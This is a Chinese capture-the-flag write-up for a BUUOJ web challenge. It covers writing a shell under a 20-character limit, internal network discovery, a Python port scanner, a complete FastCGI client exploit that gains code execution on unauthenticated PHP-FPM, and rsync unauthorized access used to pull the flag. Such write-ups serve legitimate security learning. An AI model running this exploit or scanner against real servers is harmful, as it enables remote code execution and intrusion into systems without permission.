刷题记录：ctf473831530_2018_web_virink_web
题目复现链接：https://buuoj.cn/challenges
参考链接：BUUOJ刷题-Web-ctf473831530_2018_web_virink_web
知识点
限制字符数量写shell
仅用20个字符想完成后面复杂的操作肯定是不可能的，这里可以使用>filename+ls -tr>1.sh的方法写shell，也可以直接echo "xxx">1.php
内网探测
首先查看/proc/net/fib_trie
Main:
+-- 0.0.0.0/0 2 0 2
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 173.165.232.0/24 2 0 2
+-- 173.165.232.0/28 2 0 2
|-- 173.165.232.0
/32 link BROADCAST
/24 link UNICAST
|-- 173.165.232.9
/32 host LOCAL
|-- 173.165.232.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 2 0 2
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 173.165.232.0/24 2 0 2
+-- 173.165.232.0/28 2 0 2
|-- 173.165.232.0
/32 link BROADCAST
/24 link UNICAST
|-- 173.165.232.9
/32 host LOCAL
|-- 173.165.232.255
/32 link BROADCAST
可以看出来本机ip为173.165.232.9，然后可以扫描内网。
扫描内网可以用php脚本，这道题中说明了可以使用python3，这里附上Tiaonmmn师傅写的python3扫描端口脚本
import socket
def foo():
with open(\'active_port.txt\',\'at\') as f:
for i in range(65535+1):
ip = \'172.64.152.4\'
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,i))
s.close()
f.writelines(str(i)+\'\\n\')
except socket.error:
pass
f.close()
pass
if __name__ == \'__main__\':
foo()
print(\'ok\')
发现173.165.232.10开发80,873,9000端口
PHP-FPM未授权访问漏洞
参考Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
简单来说就是如果靶机开放PHP-FPM端口(默认为9000)，我们可以伪造FastCGI协议与之进行通信，同时设置auto_prepend_file为php://input和allow_url_include = On
利用条件：
- PHP-FPM端口开放
- 找到一个已存在的PHP文件的绝对路径
膜拜一下P神的代码
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode(\'utf-8\', \'strict\')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, \'utf-8\', \'strict\')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \\
+ bchr(fcgi_type) \\
+ bchr((requestid >> 8) & 0xFF) \\
+ bchr(requestid & 0xFF) \\
+ bchr((length >> 8) & 0xFF) \\
+ bchr(length & 0xFF) \\
+ bchr(0) \\
+ bchr(0) \\
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b\'\'
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \\
+ bchr((nLen >> 16) & 0xFF) \\
+ bchr((nLen >> 8) & 0xFF) \\
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \\
+ bchr((vLen >> 16) & 0xFF) \\
+ bchr((vLen >> 8) & 0xFF) \\
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header[\'version\'] = bord(stream[0])
header[\'type\'] = bord(stream[1])
header[\'requestId\'] = (bord(stream[2]) << 8) + bord(stream[3])
header[\'contentLength\'] = (bord(stream[4]) << 8) + bord(stream[5])
header[\'paddingLength\'] = bord(stream[6])
header[\'reserved\'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record[\'content\'] = b\'\'
if \'contentLength\' in record.keys():
contentLength = int(record[\'contentLength\'])
record[\'content\'] += buffer.read(contentLength)
if \'paddingLength\' in record.keys():
skiped = buffer.read(int(record[\'paddingLength\']))
return record
def request(self, nameValuePairs={}, post=\'\'):
if not self.__connect():
print(\'connect failure! please check your fasctcgi-server !!\')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \\
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \\
+ bchr(self.keepalive) \\
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b\'\'
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b\'\', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b\'\', requestId)
self.sock.send(request)
self.requests[requestId][\'state\'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId][\'response\'] = b\'\'
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b\'\'
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response[\'type\'] == FastCGIClient.__FCGI_TYPE_STDOUT \\
or response[\'type\'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response[\'type\'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests[\'state\'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response[\'requestId\']):
self.requests[requestId][\'response\'] += response[\'content\']
if response[\'type\'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId][\'response\']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == \'__main__\':
parser = argparse.ArgumentParser(description=\'Php-fpm code execution vulnerability client.\')
parser.add_argument(\'host\', help=\'Target host, such as 127.0.0.1\')
parser.add_argument(\'file\', help=\'A php file absolute path, such as /usr/local/lib/php/System.php\')
parser.add_argument(\'-c\', \'--code\', help=\'What php code your want to execute\', default=\'<?php phpinfo(); exit; ?>\')
parser.add_argument(\'-p\', \'--port\', help=\'FastCGI port\', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
\'GATEWAY_INTERFACE\': \'FastCGI/1.0\',
\'REQUEST_METHOD\': \'POST\',
\'SCRIPT_FILENAME\': documentRoot + uri.lstrip(\'/\'),
\'SCRIPT_NAME\': uri,
\'QUERY_STRING\': \'\',
\'REQUEST_URI\': uri,
\'DOCUMENT_ROOT\': documentRoot,
\'SERVER_SOFTWARE\': \'php/fcgiclient\',
\'REMOTE_ADDR\': \'127.0.0.1\',
\'REMOTE_PORT\': \'9985\',
\'SERVER_ADDR\': \'127.0.0.1\',
\'SERVER_PORT\': \'80\',
\'SERVER_NAME\': "localhost",
\'SERVER_PROTOCOL\': \'HTTP/1.1\',
\'CONTENT_TYPE\': \'application/text\',
\'CONTENT_LENGTH\': "%d" % len(content),
\'PHP_VALUE\': \'auto_prepend_file = php://input\',
\'PHP_ADMIN_VALUE\': \'allow_url_include = On\'
}
response = client.request(params, content)
print(force_text(response))
至此，我们已经可以在内网机器上执行任意命令
rsync未授权访问漏洞
首先了解rsync是什么，参考第2章 rsync(一)：基本命令和用法
简单来说rsync是可以实现增量备份的工具，默认端口为873
rsync可以实现scp的远程拷贝(rsync不支持远程到远程的拷贝，但scp支持)、cp的本地拷贝、rm删除和"ls -l"显示文件列表等功能
这里要关注的是rsync daemon模式
rsync daemon是向外提供服务的，这样只要告诉了别人rsync的url路径，外人就能向ftp服务器一样获取文件列表并进行选择性地下载
所以我们可以利用这一点获取rsync允许访问目录下的文件。
rsync daemon是"rsync --daemon"或再加上其他一些选项启动的，它会读取配置文件，默认是/etc/rsyncd.conf，并默认监听在873端口上，当外界有客户端对此端口发起连接请求，通过这个网络套接字就可以完成连接，以后与该客户端通信的所有数据都通过该网络套接字传输。
查看/etc/rsyncd.conf
# https://github.com/vulhub/vulhub/tree/master/rsync/common
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/nginx/rsyncd.log
[src]
path = /
comment = src path
read only = yes
# For this
hosts allow = 127.0.0.1
定义了模块src，路径中包含flag，
那么可以使用命令rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/将flag备份出来